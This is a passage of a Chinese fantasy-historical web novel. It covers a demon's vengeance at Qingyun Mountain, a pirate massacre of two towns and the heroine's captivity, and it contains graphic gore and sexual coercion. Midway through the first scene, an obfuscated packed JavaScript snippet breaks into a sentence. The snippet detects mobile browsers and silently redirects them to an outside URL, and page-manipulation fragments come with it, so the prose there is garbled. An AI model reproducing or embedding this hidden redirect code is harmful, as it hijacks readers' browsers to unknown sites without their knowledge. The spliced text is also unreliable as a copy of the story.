他的目光冷冷射向了赤峰,“你们这些道貌岸然沽名钓誉之辈,却还要我的命来填补你们的欲望,你们的空虚。赤练亡魂余灵尚在,万妖塔已毁,马上就会有千万妖魔逃窜四散。一切都毁了,一切都完了!” 他又笑了起来。这些人,明知道大势已颓,却依旧飞蛾扑火,为的是什么? 不过是毕生无所建树,所以要用这所剩无几的衰败的生命去换取千秋后事声名罢了。 他们是人,无法像神靠强大的力量为人索求为人叩拜,只能靠飘渺的名为人敬仰,供奉香火,延续长生不老的终极梦想。 怕死?谁不怕死?痛苦不过是死亡的开端,真正的死亡是失控,是消失。 生前所眷恋的一切,一切的欲望,都再也无法触及,无法获得。意识消失的最后一刻,什么都忘记了,什么都消失了。这可怕的空虚! 越是无法自控,便越是想要掌控。长生不老,是每一个人的梦。人们渴望长生,以各种各样的形式。 归根究底,在于人的弱小,无法掌控偌大的世界,甚至无法掌控自己。 所以他要成仙,他做了他所能做的一切,可是为什么! “我告诉你为什么。” 随着一道似男似女的声音传出,一颗暗红的外壳七零八碎的妖丹刺入了长垣心口,像一把六面滚刀在他心口蠕动着深嵌了进去。 长垣猛地屈膝跪下,试图掏出心中的那异物,它却骤然吸食他的血肉,生出粗壮的枝干贯穿了他的胸腔,尖刺从背后穿骨而出,他几乎咬碎了牙,看着血一滴一滴落在地上。 素色紫罗像一朵风中绽开的莲花摇摇曳曳走到了他跟前,气息有些陌生,他没有去攀扯她的裙裾,而是撑着手心的那只簪子插进坚硬的泥地里试图站起来。 抬头时看到的却是一张熟悉又陌生的面孔,他和她一样有着微微上挑的水晶一样漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056258|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的紫眸,只是看向他时,少了那种浓烈的恨,有的只是无尽的冰冷和鄙夷。轮廓棱角更分明一些,他是她的弟弟,他想。 “少作出这幅为情所伤的样子了,你对阿姐的情演出的有十分,你心里的贪欲就有九分。” 柳言手上一动,长垣体内的魅丝便又穿出胸前一根,细密的倒刺钩出血肉,像倒拨的鱼鳞,层层叠叠地翻开着,血肉黏杂交缠。 他的手因为太过强烈的疼痛开始抖动。 “她...她呢?” 他想问问她,何时在他心里种下的情丝。 柳言一把扼住了长垣的喉咙,右手缓缓一动,带着剑刺的妖丹瞬时抽离长垣体内,又再次插了进去。 “看见了吗?她死了,仅剩的残魂附在这半棵妖丹上,都是拜你所赐。你还敢问她!” 知晓了当年真相,又目睹长垣杀了诸多同门的长青心中实在不忍,“妖孽,你既是她的弟弟,又何忍如此伤他?那妖女被抓时长垣为了她被锁在洗心池,还给了她打开万妖塔封印的钥匙,算来并无对你不住。” 柳言眸色一冷,勾了勾手指,长垣便立刻提剑冲向了长青。正在同长老们结阵的长青抵御不得,眼见剑尖即将刺入他心口,长垣眸中的紫光却闪烁不停,握剑的手有些颤抖,似与体内那股力量对抗着。 柳言冷笑着,“洗心池?洗心池要去的不只是爱欲,贪、恨、痴、怨皆在其中。赵长垣,洗心池灼蚀的究竟是你的爱欲还是你的贪欲,你比谁都清楚。” 他的贪欲有多重,那蚀心之痛就有多浓。十分的贪欲,一分连他自己都未觉察的爱意,伪作九分,最后像一条吐着信子的银蛇,在他的心里越吞越多,越长越大,最后张开巨口,一将他吞入深渊。 归根结底,是他的贪欲害了他。 “你想要的太多,贪的太多。自以为将人玩弄股掌之上,翻云覆雨,便可掌控他人生死命运。 结果一不当心,在欲海中翻了船,生了情,连自己都未察觉,还是沦为了我的提线木偶。” “不可能!” 长垣在一瞬的清醒中,睁着血红的眼睛恨恨道:“不可能!我已经参透了情,我能入情,也能出情。我对这妖再没有半分眷恋!” “的确是不多,少到我阿姐拼尽全力才将魅丝种进你体内,可是也足够了。这是魅妖的天赋,只需一点情,一丝一毫,微末如尘,也能紧扣不放,在你心里生根发芽,钻入你身体的每一条血管,每一根骨头......” 他猛地握紧掌心,长垣一声痛呼,眼睛再度彻底转为赤红,他已经完全丧失了意识,沦为了被魅丝操纵的傀儡。 那傀儡再无顾虑,再无抵抗,一道金光闪去,击碎了众人的阵法。受到冲击的众人吐出一大口血,倒在地上,随着法罩的破碎,鲜血吸引了正从塔内逃窜的妖魔。 一只巨大的黑影逐渐逼近,面对着长垣的长青目眦欲裂,那大妖张开利爪朝着长垣的背后急速飞来。而长垣却仍旧像个惨败的木偶一般提着剑朝他的师长挥去,不闪不避。 “长垣!” —— 宋璋听见青云山一阵骚动,竹林处原本空空的林顶浮现出一座高塔,浑浊的魔气萦绕盘旋在塔顶,不时有黑气一蹦一跳窜出。她的心也一阵一阵地跳动起来,结界......打开了! 这么看来,柳心成功了。 她趁乱赶到竹林,却被眼前的一幕骇得说不出话来。 满地的血腥几乎将土地染成红色,几颗泥土飘在坑洼的血浆里,浮着一层淡淡的油脂,发着诡异的腻光。满地的尸体,七横八竖倒在另一个尸体的身上,明悟的身体从腰间断开,却又没完全断开,摆出一种折角的姿势,青色、黄色的肠子、胃像一条软虫正潺潺地往外流动滑出。 长垣胸腔处的骨肉全部被挖开,露出像濒死的鱼一样缓缓抽搐的心脏。已经看不出那是一块心脏,不如说是不善庖厨的农夫胡乱砍改的腰花,一层一层交叠着翻出,却又软踏踏得挤在一处。血肉模糊,几条蛆虫从里面爬出来,趴在上面贪婪地吸食着血水。 她的心一下跳到了嗓子眼,正要逃跑时,一阵巨大的力量将她吸了过去。 她看到那张脸时瞳孔瞬时一张,那是一张和柳心一模一样的脸,苍白如纸,鬓黑如墨,淡紫的眸子含着不达眼底的笑意,一眨一眨地望着她...... 32. 倭寇进城 她有些害怕地想要逃走,柳言翻开掌心,一枚莹莹的妖丹缓缓朝宋璋移去,淡紫的光芒化作点点萤火环绕着她。 宋璋偏头追随着那一阵萤火的目光,心中一紧,“柳心呢?” “她死了。” 宋璋有些震惊地看向柳言,他并不想说太多,“你就是宋璋吧,我阿姐有东西要我交给你。” 柳言抬起手,那些萤火便离开宋璋身边渐渐凝聚成一团,她忽而整个身子漂浮起来,面前的少年道:“闭眼。” 接着那团光便倏尔朝着她的左眼飞去,她赶忙闭上了眼,雪花一般一片一片飞了进去,冰冰凉凉的,好长时间才恢复了正常的温度。 她睁开眼,瞳孔闪烁着一圈紫红的水光,星星点点,柳言深深地看着她,仿佛在通过她看某件极珍贵的东西。 她下意识摸了摸眼睛,柳言道:“我阿姐的半颗妖丹,里面注入了我的灵力,给你了。这里马上就会被妖占领,青云山会大乱,趁着他们还没来,你赶快走吧。” “那你呢?” 本着与柳心的那点战友情,她还是问了他一句。 “阿姐为了救我出来死了,只剩下一缕残魂在万妖塔内,我会在这里陪着阿姐。” “你在塔里过了几十年,你阿姐不会希望你留在这里的,她想给你自由。” “我在塔里的时候的确很想出来,很害怕,我每天都在想阿姐,想待在她怀里,想晒晒外面的太阳。” 柳言缓缓抬起头,乌云也似有感应,轻轻地,渐渐的移开。薄薄的一缕阳光从缝隙中钻出,照在柳言脸上。 他停留了片刻,便低下头来,看着那座塔,“她现在就在那儿,我想要的就在那里。阿姐可以一直陪着我了,我们分别了数十年,接下来我要好好地陪着她。” 竹林顺着小溪有条小路通往山下,宋璋见火势渐大,青云山那团浑浊的黑气越来越重,赶忙离开了青云山。一路担心着有逃出来的妖拦截,好在一路平安,她终于在天蒙蒙亮的时候走到了熟悉的口,敲响了舒宅的大门。 一边等待着,她一边发现了异常。西桥巷本是热闹的中心,天不亮就早有许多摊贩货郎挑着货物叫卖,可今日这时候,天光渐渐转明,却空空如也。 她站在门前,四周嘈杂惊惶的声音如洪水一般袭来,她缓缓转过身,独立西风之中,一双眸子有些迷茫。许多背着包袱拉着板车的百姓映入眼帘,各个行色匆匆,面如土色。每一双眼睛里都是惊惶与恐惧。 她听见他们念叨着,口中都有着共同的畏惧:倭寇来了,倭寇打南边进了东流城里来了。 宋璋回到家时先去拜见了沈氏,她正和毓兰一块儿绣着孩子的衣裳。屋里有些杂乱,下人们整理出一箱又一箱的东西,日常用物,金银首饰,都七七八八摆在面前。 “我听见街上人人都说倭寇要来了。” 宋璋简单解释了青云山被烧的事,给沈氏拜过礼,问出了心中的疑问。 沈氏微微抬起下巴,举着那绣绷在阳光底下细细瞧着,淡淡道,“不过是市井流言,东流往南就是陈丰,有郡守陈乌坐镇,陈乌是灵王殿下的人,那倭寇打到哪儿也不会打到咱们这里。” “那这些箱子……” “老二就要回来了,你大哥带着两个孩子去祖宅庄里祭祖,保佑他一切顺利。不巧两个孩子又病了,毓兰放心不下,所以叫她过去照看照看。” 宋璋闻言关切道,“病了?不是什么大事吧?” 毓兰似乎今日有些不对劲,目光有些闪躲,只是低头看着手里的衣服。“没什么大事,就是……就是小孩子不经吓,过几日就好了。” 宋璋觉得她态度有些奇怪,以为是挂念孩子,因也没太多想。 和沈氏她一贯没什么话题可聊,因而提起了舒玄礼。“夫君之前给我来过信,那时便说是即将动身了,现在都二月了,过了这许久竟也还没到。” 毓兰扯了扯嘴角,沈氏道,“在京中认识了几个同学,相互结伴着走,自然也慢些。你既回来了,这几日不要乱走,把玄礼的东西都理一理,趁着天晴拿出来晒晒。免得一时找不到趁手的物件。” “儿媳明白。” 明心几个小丫头见到她回来很是高兴,叽叽喳喳说着她不在时的趣事。 “您还不知道吧,鸣琴和大爷房里的东南好上了,两人那叫一个如胶似漆,成天脸上都笑出花了。” 宋璋一面用拂尘擦拭着琴面的灰尘,一面道,“鸣琴是院里洒水的那丫头吧,方才见着也没笑,倒是怏怏的。” “嗨呀,那还不是因为东南前些日跟着大爷乡下去了,那叫什么,一日不见如隔三秋,现在都好几个秋了,心里啊牵挂着呢。” 宋璋笑笑,“也过不了几日,那还不是要回来吗,叫她别难过了,一会儿叫小厨房每人弄一碗红豆圆子羹来,多放点蜂蜜。” 明心闻言压低了声音,微微皱着眉道,“说是大爷带着哥儿姐儿去祭祖,其实谁不知道是躲灾去了。这一趟要多久可真是难说得很,您看大少夫人一会儿也要走了,夫人您也该一块儿去才是。” “二爷还没回来,我得在这等着他。再说了,娘也在这儿呢,不怕。” 对于城中的异常,她多多少少能猜到一些,但是也正如沈氏所说,舒玄礼还没回家,她必须得在这里等着他,和他一块儿走。不然她不能安心。 再说东流县邻近陈乌丰城,是进入陈丰郡的最后一道防线,她想无论如何,都不至于打进东流来,倭寇作乱不少,总是有惊无险地避开了这里,应当暂时安全。 她安排着把家里一些东西送去船上,目送毓兰离开后便睡下了。 已近初春,床上铺着软软的被褥,一条长长的梅花枕。熟悉的味道熟悉的环境让她很安心,她睡了一会儿,又翻了个身摸了摸身侧那个空空的位置。 到了冬天天冷,她的身上就成了一块儿冰,舒玄礼总是把她拉过来,睡在一个枕头上。有力的手臂裹着她整个身体,她缩在他怀里,渐渐温暖起来…… 她贪婪地深吸一口梅花枕的味道,却从这干枕中闻出了新鲜的雪气,清冽入鼻。帐子缓缓拨开,有人倾身而下,似乎在注视着她。 她握紧了袖中的手心,悄悄睁开了眼,便见到她朝思暮想的那一张面孔,带着温柔的笑深深地望着她。 她立刻扑进了他怀里,紧紧抱着他,“玄礼!你回来了!” 她像一只雀儿,速腾一下跳下了床,一面叫人给他点炉子,一面叫厨房做吃食。一时间,已熟睡的下人们都揉着眼睛爬了起来。 舒玄礼缓缓走到她身边,往她身上套着衣裳,一层一层,又给她披了一件披风。 “别忙活了,阿璋,我们得立刻离开这里。” 他的眼里带了几分严肃,宋璋转过身,“是因为倭寇?” “是,他们马上就要进城了,最迟两日,最快……就在天明。” 宋璋闻言吓了一跳,并不知道这次寇难竟如此严重,连行装也没收拾,直与舒玄礼奔着沈氏那里去,叫醒了她一同离开。 沈氏见了舒玄礼,那模样活见了鬼,比宋璋还要激动,或许说愤怒…… “玄儿,你怎么又回来了!你知道这里现在有多危险……” 宋璋敏锐地捕捉到回来这两个字,舒玄礼忍着怒意,一边看着宋璋服侍她穿衣,一边道,“娘既然知道,还在信里骗我您和阿璋已经到了庄上,让我绕开东流直往徐春去,难道身家性命也是说着玩的么。” 宋璋目光落在了沈氏身上,手上依旧没停,为她系着最后一颗衣扣。 原来是这么回事,信件往京城少说要半个月,沈氏恐怕早就收到消息,将家中男丁全都转移到徐春乡下,女眷留在这里观望情况。毓兰是两个孩子的母亲,昨夜想必带了重要钱财离开。 只剩下沈氏和她,沈氏自觉年老无所畏惧,她留在这里可以守着家业稳定家中下人的心,大不了倭寇真来了,死了一老一少,也没什么损失。 沈氏丝毫没有歉疚,大有恨铁不成钢的意思,“所以你就是为了她回来的!好啊,你脑袋一热回来是容易,可知道现在这时候上哪里弄船出城去!” 枉她替他计划许多,这孽障竟然在这紧要当口回来了! 她气得甩开宋璋的手,“好,我知道你怪我,既如此,你们走就是了,何必再拉上我?” 舒玄礼眉心狠狠跳了跳,又气又愁,“娘,现在情况紧急,不是斗气的时候,我也并没怪您。本就是为了接你们回去我才特意跑这趟的。” “我不走,你们快走吧。这偌大的宅院,许多的家业,还有你们祖宗的祠堂牌位都在这里,若没一个主人守着,你以为那些丫头小子会尽心尽力待着?” 沈氏固执起来,简直让舒玄礼觉得可怕,“金银哪有命重要,留得青山在,不怕没柴烧。快走吧。” 他说着,一边去拉沈氏,还是宋璋说了一句,“娘,再这么耽搁着,倭寇真来了,玄礼可就白白葬送了性命了。” 沈氏面色一白,这才跟着他们往外走。宋璋道,“家里没有船,一会咱们怎么走?” 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从外面甩进来的铁爪紧紧勾住了墙边,接着两只、三只、四只……许多寇贼沿着墙面即将爬进来。 随着他们背着的那一炳长刀的显现,宋璋的心落到了谷底。 完了,全完了,倭寇,真的进来了…… 眼见着一个寇贼即将爬进,舒玄礼拔出腰间宝剑便冲着那四只半手指砍了过去,噼里啪啦的手指落在墙根下,那人哀嚎了一声,似乎坠落在另一边。 他似乎发现了一个好办法,接着又去砍另一边的手,哀嚎和叫骂声不断响起。 看着眼前的断指,沈氏几乎被吓出病,惨白着脸一动不敢动。宋璋看着舒玄礼忙碌的身影,看见大门的缝隙越来越大,连接处摇摇欲坠,她知道撑不了多久了。 她忽然往另一边走去,被沈氏猛地拉住了手,她警惕地看着她,又害怕又担忧,“你……你干什么去。” 宋璋看了一眼舒玄礼,垂眸在沈氏耳边耳语。 过了一会,她拿了一只木棒朝着舒玄礼走了过去。 余光中瞥见宋璋的身影,舒玄礼道,“你怎么还在这?你带着娘从东门快走,现在只是拖着一时,你拿着大棒也无……” 咚得一声,舒玄礼先是头上一痛,接着缓缓转过身看着宋璋,“阿璋,你要……” 宋璋又是一棒打在他后脑,这回舒玄礼皱着眉头晕了过去,恰恰落在沈氏手上。 宋璋捡起了他落在地上的剑,对沈氏道,“娘,带他走。” 沈氏震惊地看着她,缓缓点了点头,接着把舒玄礼放在了两人事先准备好的一辆板车上,盖上草席,就拉着舒玄礼往东门去。 听见车轮的声音渐渐远去,宋璋的手已经砍得发麻,此刻宅中的下人也已经醒来,纷纷围在了各处抵御着外面的攻击。 鲜血溅了满墙,然而撞击门的声音越来越大,越来越大。 她听见那头一个粗野的声音咒骂着,“他奶奶的,敢砍老子的手,等老子进去,第一个砍了他的头!兄弟们,都没吃饱饭吗,还不使点力气,给老子撞开!” “这几家可是城里的富户,金银财宝,先到先得,谁抢到就是谁的~” 咚——咚—— 宋璋提着刀转过身来,大口大口呼吸着,只听见那撞门的声音随着她的心脏一下一下跳动着。 她眼睁睁看着那大门轰地一声倒在了面前,一声巨响传来。一个骑着马穿着棕狐皮的独眼男人,扛着一把刀,领着几百贼寇从门后走了进来。 济桓眯了眯眼,带着些许讶异地看着眼前站立着的人。 这个一身白狐裘的女人,一头散乱的头发,裙边堆满了血淋淋的手指,手握长剑,满眼戒备地看着他们。 白皙的小脸上血迹斑斑,棕黑的瞳孔中透着狠辣,倒像是个狠人。不过那宽大衣袖下微微颤抖着的手臂暴露了她此刻的恐惧。 济桓挑了挑眉,“哟,竟然是个美人。” 他打马一步一步,缓慢地走到她面前,像是逗弄猎物一般,围着她转着圈。 接着,忽而拔出了刀直指她眉心,宋璋的心跳到了嗓子眼,咽了咽口水。 “你方才砍了我这么多兄弟的手,你说,要怎么赔?” 他收起了笑意,冰冷的目光在她身上扫过,“是用你的双腿、双脚、双手……” “还是用你的脑袋赔我?” 带着血腥气的刀落在了她脑袋正中央,她头皮一阵发麻。 33. 故人重逢 “别,别杀我。我知道金库的钥匙在哪,我都给你。” 宋璋很识时务地对这煞星道,她不想一刀被劈成两半。 济桓轻蔑地笑了笑,将刀一收,昂了昂头,“带路。” 宋璋走在前面,济桓带着众人打着马悠哉悠哉跟着,也不怕她逃跑。自然,她也不打算跑,他们人这么多,她一个人绝对斗不过他们,只求散金保命罢了。 她走到沈氏的院子时,有一个小丫头正背着好几副字画要跑,济桓身旁的一个贼兵瞬时抛出了他那只带着长钩的鞭子,钉进了那丫头的手臂的肉里,直把她拽倒,拖在地上摩擦得血肉模糊,她一直发出惨烈的呼喊。 宋璋听得心中不忍,正想说些什么,便见另一人一刀朝着那丫头脸上砍去。她张了张口,又闭上了嘴,把话吞了回去。 刀嵌在脸上拔不出来,血像西瓜汁一样往外渗着,他一双鞋踩在了她胸口,用力一声拔了出来。 那人把她手里的字画拿走,殷切地递给济桓,“爷,您瞧。” 济桓解开卷轴上的布条,把一幅画展开在她眼前,“老子看不懂这些,你来看。” 那副画是吴道子的明皇受篆图,画卷左下角渗着淡淡的红色,是方才那丫头的血。宋璋吞了口口水,强自淡定道:“是吴道子的画。”她想了想,补充道:“很值钱。” 济桓闻言笑了笑,把那画丢给了一旁的人,“值钱就拿着,走。” 宋璋一边往里走,一边庆幸,一边又害怕。庆幸的是幸好刚才没有想着逃跑,否则她的下场就是和那个丫头一样,害怕的是等到这伙人拿到钱,她又会是什么下场。 她从沈氏惯常拿对牌钥匙的地方拿了一串钥匙,最值钱的房子铺子还有田地这些轻便的契书都已经被沈氏转移出去,剩下的不过是一些现有银钱,索性给了他们。 院子里又重新整理出几个大箱,济桓看着这些东西很是满意,空着手来,满载而归。一路上,所有下人都低着头,不敢多看,略有些胆大的,只抬了个眼就会被杀掉。宋璋全程闭紧嘴,缩成鹌鹑模样。 济桓一边往外搬着东西,一边打量她,“怎么就你一个主事的,这家其他人呢?” 宋璋道:“都走了。” “走了?”济桓鄙夷地轻嗤一声,“一个男人都没有,留你一个女人在这儿,这大魏的男人就是窝囊。” 宋璋依旧低头沉默,济桓审视的目光从她身上扫过,“既然如此,不如跟我走,老子带你吃香喝辣。” 宋璋心中一跳,脑中想过千万种拒绝的理由,可是很遗憾,想不到哪一种理由可以让这个人不动怒。这蛮子阴晴不定,喜怒无常,她怕话一说出口脑袋就开了花。 济桓见宋璋久久不回答,语气已经冷了下来,“怎么,不愿意?” 在济桓发怒之前,宋璋深吸了一口气,扬起了一个难看的笑容,“愿意追随将军左右。” 济桓满意地笑了笑,“不错,识时务者为俊杰,小娘子,跟我走吧。” 宋璋全身被捆着,以一种别扭的姿势被抗在马上,她心里不禁默默骂起了济桓的祖宗十八代,这死蛮子到底懂不懂怜香惜玉,再这么跑下去她肠子都要颠出来了。 她以为济桓会带着她回到大本营,或是在那里风月一番,这人竟然真把她当个透明麻袋一样,吊在马上,骑着马带着一大帮人席卷了整个东流县,她在马上看着他杀人放火,打家劫舍,硬生生是在一天里把东流县转了个遍。 而且他大手一指,许多女子都被他绑了过来,货物、女人都堆积在一辆大车上,跟着他四处转悠。 终于,大部队离开了东流,顺着马车,济桓来到了东流县后的陈丰。 济桓这伙倭寇来势凶猛,陈丰的士兵没有抵抗多久就被杀光,济桓直奔陈乌的官邸而来。 “大人,大人不好了,济桓那伙倭寇趁夜拿下东流,攻破城门,眼下已经打到门口了。” 陈乌尚在睡梦中,惊得衣服都没穿好,忙对那人道,“怎么会这样!快,快拿着我的印调兵。” “来不及了,陈大人。” 砰地一声,大门被济桓踢开,两个守卫的头骨碌碌滚到了陈乌脚边,他吓得瞪大了眼睛,腿一软跪了下来,“别杀我,我有好多钱,我什么都给你,什么都给你。” 他说着,从床底下翻出几个箱子,慌张地将里面的东西倒了出来,“这是城西的田地,这是钱庄的票号,还有这个,这个……” 济桓瞥了一眼他手里的东西,似乎并不太感兴趣,“陈大人,你的这些东西我不感兴趣。” “那您想要什么?金子?金子我也有,都在府库里,我这就去给你拿。不,我带您去,我……” “有人买你的命。” 陈乌闻言手上一抖,怔怔看向了他。 济桓缓缓举起了手中的大刀,脸上青筋一颤,“所以,你给我什么都没用。” 话音方落,陈乌的头坠在地上,济桓拎着他的头随意找了个布包了起来。陈乌身旁的那人吓得尿了裤子,与济桓缓缓对视,下一刻便人头落地。 血腥的气味笼罩着整个陈丰郡,济桓这一群人是奔着屠城而来,他们贪财,而且贪的是快财,一切能搬走的金银,字画,昂贵的丝织品,全都被收笼在车里。 大部头归济桓所有,平米百姓家的粮食、钱帛、女人、男人,他都放任手下自行抢夺,以各种残忍手段。不到三天,整个陈丰便沦为一座散发着尸臭血腥的腐城。 宋璋被关押在一个小房间里,靠在墙边,透过窗缝可以看见穿过东流的那条陈河。这个时节,舒玄礼本会带她去河边踏青放风筝,陈河边上的梅花、山茶都已经开得艳丽。 初春的河风吹过,可以闻到清冽入脾的花香。 可是此时,河道不时飘着尸体,那股似有若无的臭味散发在周围的空气中。 宋璋呆呆望着,出了神。陈丰郡靠海,倭寇入侵是常有的事,但大多不过上岸抢些东西,一两日便走,急来急去,也从不敢深入腹地。 毕竟他们知道,自己吞不下这么大一块肉,只是缺东西了就来抢上一回。这次的倭寇却不寻常,他们已经在这里待了三日了,而且还没有要走的意思。 陈丰郡被攻占屠城,周边郡县必定闻风上报了朝廷,不日就会有军队来驱逐。他们该抢的都抢了,明知如此,却还是在这里吃喝玩乐,毫无畏惧。 而且要说贪财,陈丰的大小官员私产甚多,为了保命,定然会把别处银号里的钱通通取出来交给倭寇。可济桓还是直接把他们杀了,无一遗漏,似专奔着取命而来。 她总觉得哪里有些不对。 罢了,想也想不出来,也不知道沈氏有没有带着玄礼顺利逃出去…… 正想着,忽而大门打开,一伙蛮子走了进来。 他们冷冷扫过众人一眼,忽然指了指其中一个女人,“就这个吧,看着年轻,老大肯定喜欢。” 说着,他们便上前来拉那女人,她先是害怕继而剧烈挣扎起来,“你们干什么,你要带我去哪里?” “我们老大这几日辛苦,正缺个暖床的娘儿们,我们好吃好喝地供着你,到了用你的时候了。” 那女人闻言大惊,一面哭一面挣扎着,“我不去,我不去。我已作了人妇,怎可二事他人?” 那人狠狠打了她一掌,打得她倒在地上动弹不得,一面啐了一口,“老子管你什么人妇不人妇的,你的命都是老大保下的,不伺候老大,要你何用?别敬酒不吃吃罚酒,小心老子直接剁了你!” 他们说着,一面上前去拉她。那女人被两人拉了起来,似乎放弃了抵抗。就在走到门口时,她却忽然甩开两人的手,直直冲着院子里的枯井跳了下去。 咚的一声闷响远远传来,屋子里的女人们都静了下来,陷入了一种可怖的静默。 宋璋身边的是油商齐家的小女儿,没来得及走脱,被抓到了这里。此刻正瑟瑟发抖,牙齿都打起架来。 宋璋默默将手搭在她手臂上,齐小姐转了过来,眼中满是恐惧。“怎…怎么办啊,夫人,我我害怕。” “别怕,他们要做什么,你都顺从就是。先保住命要紧。” 她安慰着齐小姐,同时也安慰着自己。别怕,别怕,再大的事也没有命重要,她不想死,她还要活着见到舒玄礼。 然而怕什么来什么,齐小姐和她耳语的片刻,他们注意到了她。 “你,过来。” 齐小姐抓着宋璋的手更紧了,她哭着摇头,我见犹怜。可惜在这蛮子的眼中,并无丝毫触动。 他们不耐地啧了一声,皱起了眉头,宋璋低声道,“去吧,去吧。忍得一时,等你爹娘回来了就好了。” “我不去,我不敢,那蛮子杀人如麻,他……他万一杀了我。” “他不会,只要你听他的话。” 其实宋璋说这话时也没有把握,她不知道那个济桓到底会不会杀人,毕竟人命对他们来说,和蚂蚁没什么两样。高兴或不高兴,都可以随时碾碎。 “磨蹭什么,你也不想走是吗?” 那两人的耐心已经到了极限,齐小姐将头埋进了宋璋肩头,说什么也不肯面对。 大刀猛然砍在了齐小姐的脖子上,血液喷射在了她对坐的一位夫人身上,宋璋感受到一股热流飞溅,闭上了眼睛。 她的胸膛剧烈地起伏着,只觉呼吸困难。接着,一个,又一个,像杀瓜一样,那些女子纷纷倒在了地上。只剩下最后三人紧紧闭着眼睛,似乎在等待命运的到来。 “我去。” 她们齐齐看向了宋璋,宋璋起身时腿还打着颤,虽然畏惧,却还是强自镇定地看向了那两人,“我愿意服侍将军。” 宋璋沐浴过后穿着一身素衣,说是素衣,其实和纱差不多。鹅黄的纱衣与雪白的肌肤紧贴,显示出玲珑的曲线。她用一头浓密的长发挡在了胸前,堪堪遮住。 他们霸占了陈乌的府邸,陈府的下人同情地看着她,领着她走进屋子里,仿佛走进刑场一般。 屋内点着几盏昏暗的灯,她想,济桓瞎了一只眼,估计也不需要太亮。下人关上了门,她在外间徘徊着,便听里面传来一道声音。 “进来。” 这声音有些陌生,怕惹怒对方,她还是缓缓走进了内间。隔着几重帘帐,她隐隐约约地看见有人坐在里面,身形庞大,似乎还有胡子。 她小心翼翼走到床边,忽而一只手便将她捞了进去,铺天盖地的男人的那种臭味席卷而来,她感到一坨厚厚的肉坠在了她肚子上。 她看清了这人的面容,一个 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明亮漆黑的眸子中一点一点出现了紫色的萤火,一点一点汇聚,接着化作一条流动的银河,缓缓流向了他…… “将军,将军,你认得我么?” “我……”男人似乎有些迷茫,摇了摇头。 “我是将军最爱的人,我说的一切,将军都会顺从我。” “你是我最爱的人,你说的一切,我都会顺从。” 男人怔怔地重复着她的话,宋璋看着眼前眼神空洞的男人,猛地松了一口气。她缓缓抬手摸了摸自己的眼睛,幸亏,有柳心的妖丹,这关算是过了。 这男人既然是倭寇的头领,她控制了他,以后也勉强可以在这里生存下去,不,说不定可以逃跑,她可以让他放了她。对,现在就走! 她要去找玄礼。 宋璋想到这里,拉起了男人的手,“将军,陈河对岸的花都开了,好漂亮啊。你给我准备一艘船,让我去对岸赏花,好不好啊?” 男人正要开口,眼中闪过一丝紫光,他眼神一变,含着情看着宋璋,“好。” “那你现在就叫人去准备,我现在就要走。” 宋璋的心扑通扑通跳着,一瞬不瞬地盯着他,眼前的人张开了嘴,正要应声,忽而一阵热意落在了她脸上,眼中一阵热辣。 男人的脖子被一剑捅穿,脸上还保持着方才幸福的笑容,就这么直直地从床上栽倒下来。 突如其来的变故让宋璋整个人愣在了原地,来不及穿上衣裳,目光中只看见那炳长剑缓缓从男人身上抽出,带着鲜红的血…… 从剑尖滴落在绣着金线双鹤的乌靴面上。往上看去是一身盔甲,腰间挂着一枚鱼形玉佩,一个香袋。握剑的手白皙细腻,指骨分明。 不是匪寇这边的。 她迅速做出了判断。 世事难料,瞬息万变,电光火石之间,她选择抱上另一条大腿。 如是想着,她眼中便瞬时红了起来,一面扯过被子遮掩住自己,一面凄凄楚楚地哭了起来,“将军,多谢将军救我!” 眼前的女子披着一层薄被,乌黑长发下裸露出的肌肤似有若无,越发引人遐想。双膝跪在铺着羊毛的地毯上,更衬比乳纯白。 “今日救命之恩,妾没齿难忘,来日必定倾力报答。” 她一面说着报答感激之辞,一面不经意间露出柔美的曲线。 男子的手按在腰间的剑上,有一搭没一搭地敲击着,观赏着美人的表演。 良久,宋璋没得到回应,心下打起了鼓。不吃这套?还是已经把她归为倭寇一流,无论如何也要做掉她? 忽而,余光中男子高大的身躯渐渐蹲了下来,他屈膝半跪,腰间的香囊里的梅花气息混合着血腥钻进了她鼻尖。 他捏住了她的下巴,还带着血的余热,在冰凉的肌肤上落下一个红印。 宋璋垂眸时便已暗暗催动了妖丹,准备好一切完美的足够吸引男人的神情。 随着男子手上的动作,下巴逐渐抬起,那张脸也逐渐完整地出现在男人眼中。 那双漂亮的眸子淡紫的流光迅速褪却,方才低头时蓄积已久的泪水在触及他目光的那一刻顿时僵在了眼眶里。 见到那双呆滞的瞳孔,魏无笙似笑非笑地勾了勾嘴角。 这一刻,宋璋都还在自我安慰,只是一个巧合。眼前的男人只是和那个病痨鬼陈宝的眼睛长得像而已,这世上长得像人那么多。 陈宝都死了十几年了,怎么可能? 直到她听到眼前的男人淡淡说出这句话,她浑身的血液都仿佛要倒流回去,完全僵在了原地,连身上的被子脱落也忘了提起。 “璋姐,好久不见——” 魏无笙状似关切地提起被子,为她披上,尽管隔着一层布,但他所触及之处,宋璋起了一身的鸡皮疙瘩。 见鬼了,真是见鬼了,陈宝,那个陈家小少爷,不是在她嫁给舒玄礼那年就死了么? 那个病痨鬼,那个连坐都坐不起来,只能靠她每日按摩喂药的小子,怎么可能是眼前这个人? 她长了张口,不知何时哑了嗓子,满是惊恐地看着眼前人。 “你是谁?” 34. 羊入虎口 陈丰郡大乱,周边郡县尚在等待朝廷发兵救援,便有一股势力被披荆斩棘,杀将而来。虽然只有几百人,可个个身怀绝技,来势汹汹,不出几日这些倭寇便尽数被驱除。 对于魏无笙的来头,那些百姓都不知所以,有的说是隐居在山林的绿林好汉,有的说是朝廷派来的青天大老爷。总之,那日他们看见一大批人马提着长剑大刀气势汹汹地冲开了陈丰郡的城门,解救百姓于危难之中,直冲了陈乌府衙。 本地一些尚未来的及逃走的豪强此刻都聚集于陈乌府中,升厅议事,众人在看到少年走进来的一刻纷纷起身跪拜。 “多谢三郎救我等性命于水火,也替城中百姓拜谢三郎。” 